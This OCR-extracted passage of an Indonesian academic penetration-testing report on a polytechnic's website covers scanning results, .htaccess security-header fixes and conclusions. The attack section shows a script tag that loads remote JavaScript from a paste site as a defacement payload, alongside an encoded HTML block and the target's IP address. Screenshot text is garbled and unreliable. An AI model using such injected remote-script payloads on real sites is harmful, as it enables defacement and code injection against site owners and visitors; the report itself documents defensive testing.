80, 108, 07, 121, 69, 55, 4B, 48, 34, 32, 114, 101, 108, 01, 34, 118, 116, 121, 108, 101, 115, 104, 101, 104, 110, 34, 32,
110, 121, 112, 101, 01, 94, 110, 101, 120, 110, 47, 00, 116, 115, 34, 62, 10, 00, 100, 105, 110, 107, 32, 104, 114, 101,
102, 01, 34, 104, 110, 110, 112, 116, 80, 47, 47, 102, 113, 110, 116, 118, 46, 103, 111, 111, 103, 100, 101, 07, 112, 108,

Category: Nooe =
Tags

Syntax Mighiighting: None -
Faste Expiration: Never -
Paste Exposure: Pubc -
Fotcter -
Pansword S Disablad

Burn arter reac S
Paste Mame / Title:

Create Mew Faste >

Undo.

 Without Site Tracking

1 <script type="text/javasciprt” src="https://pastebin.con/raw/rQfesyJe"></scripts|

Gambar 19 Gambar Pengubahan HTML Menjadi Source

Setelah membuat HTML lalu HTML tersebut di convert
menjadi kode dan diubah menjadi source agar bisa
dimasukan kedalam script.
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6. Header set X-Content-Type-Options: nosniff berfungsi
untuk melindungi dari serangan sniffing.

Q:‘“’.‘(‘f"‘f”"w Home  ProflKampus = Prodi - Faslia wniosd « Kontak  Pendaltaran Q0

Oops! Page not found.

a Gambar 22 Gambar Scanning Owasp Zap Setelah Dilakukan Perbaikan

= Setelah dilakukan perbaikan hanya ada satu kerentanan yang
bersifat low pada website Politeknik Al-Islam.

Gambar 20 Gambar Attacking CSRF pada website Find out who is hosting any website

Lalu masukan script tersebut pada alamat website, P e =
namun hasilnya false positive dimana website tersebut e
tidak dapat di deface.

202.74.239.248

>n: AS131775 PT. Jupiter Jala Arta

E. Tahap Perbaikan Vulnerability iz g

00 S/LIMvuuLe? ‘ ‘v rindanasie
8

% <iffodule mod headers.c>
9 Header set Strict-Transport-Security "max-age=31536000" enveHTTPS 20274239248
2 Header always set X-Frame-Options “deny’

9 Header setifempty Referrer-Policy: same-origin
% Header set X-XSS-Protection "1; sode=block” T
% Header set X-Permitted-Cross-Oonain-Policies "none" - e
% Header set Referrer-Policy "no-referrer” e
9 Header set X-Content-Type-Options: nosniff
% (/ifhodule

Gambar 21 Gambar Pembuatan Header Pada Website Gambar 23 Gambar Scanning Nessus Essentials Setelah Dilakukan Perbaikan

Untuk mencegah clickjacking saya menambahkan .htacces Setelah dilakukan perbaikan pada scanning Nessus

dengan header set x- frame options agar website mencegah Essentials tidak ada kerentanan pada website Politeknik Al-
frame didalamnya. Islam.

Setelah itu ada header-header lain yang berfungsi:

1. Header set Strict-Transport-Security "max-age=31536000"
env=HTTPS berfungsi untuk mengaktifkan HSTS.

2. Header setifempty Referrer-Policy: same-origin berfungsi
untuk mengatur Referrer-Policy hanya jika belum diatur.

3. Header set X-XSS-Protection "1; mode=block" berfungsi
untuk mengaktifkan proteksi Cross-Site Scripting di
browser. .

4. Header set X-Permitted-Cross-Domain-Policies "none" i » =
berfungsi untuk mencegah Flash atau PDF dari melakukan T ——
permintaan lintas domain.

5. Header set Referrer-Policy "no-referrer” berfungsi untuk

menetapkan kebijakan referer untuk tidak mengirimkan L . L .
header Referer sama sekali. Setelah diuji ulang hasilnya kerentanan Clickjacking bisa

diblokir dan situs aman dari kerentanan Clickjacking.

Gambar 24 Gambar Pengujian ulang Clickjacking
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TABEL IV
Tabel 1V Tabel Resume
NO Temuan Severity Hasil Kesimpulan
Attack
1 | Clickjacking Medium | Berhasil Ditanggulangi
dengan
menambahkan
header di .htacces
2 | Crosssite Hight Gagal False Positive
scripting
3 | Sslstripping Medium | Gagal False Positive
dan Man In
the Middle
attack
4 Device Medium Gagal False Positive
Website
V. SIMPULAN

Kesimpulan yang dapat diambil dari penetration testing
website Politeknik Al- Islam yang berdasarkan OWASP TOP
10 dengan metode VAPT (Vulnerability Assessment and
Penetration Testing) adalah sebagai berikut:

1. Website Politeknik Al-Islam saat dilakukan penetration
testing oleh aplikasi OWASPZap, Nessus Essentials, dan
WPScan terdapat beberapa kerentanan seperti clickjacking,
HSTS Missing, Cross-Domain Misconfiguration, dan
Cross-Domain Misconfiguration.

2. Saat dilakukan attacking hanya kerentanan clickjacking
yang berhasil menembus keamanan website Politeknik Al-
Islam dengan menggunakan aplikasi burp suite dan
Kerentanan pada website Politeknik Al-Islam dapat
ditangani dengan menambah beberapa header di .htacces
website tersebut.
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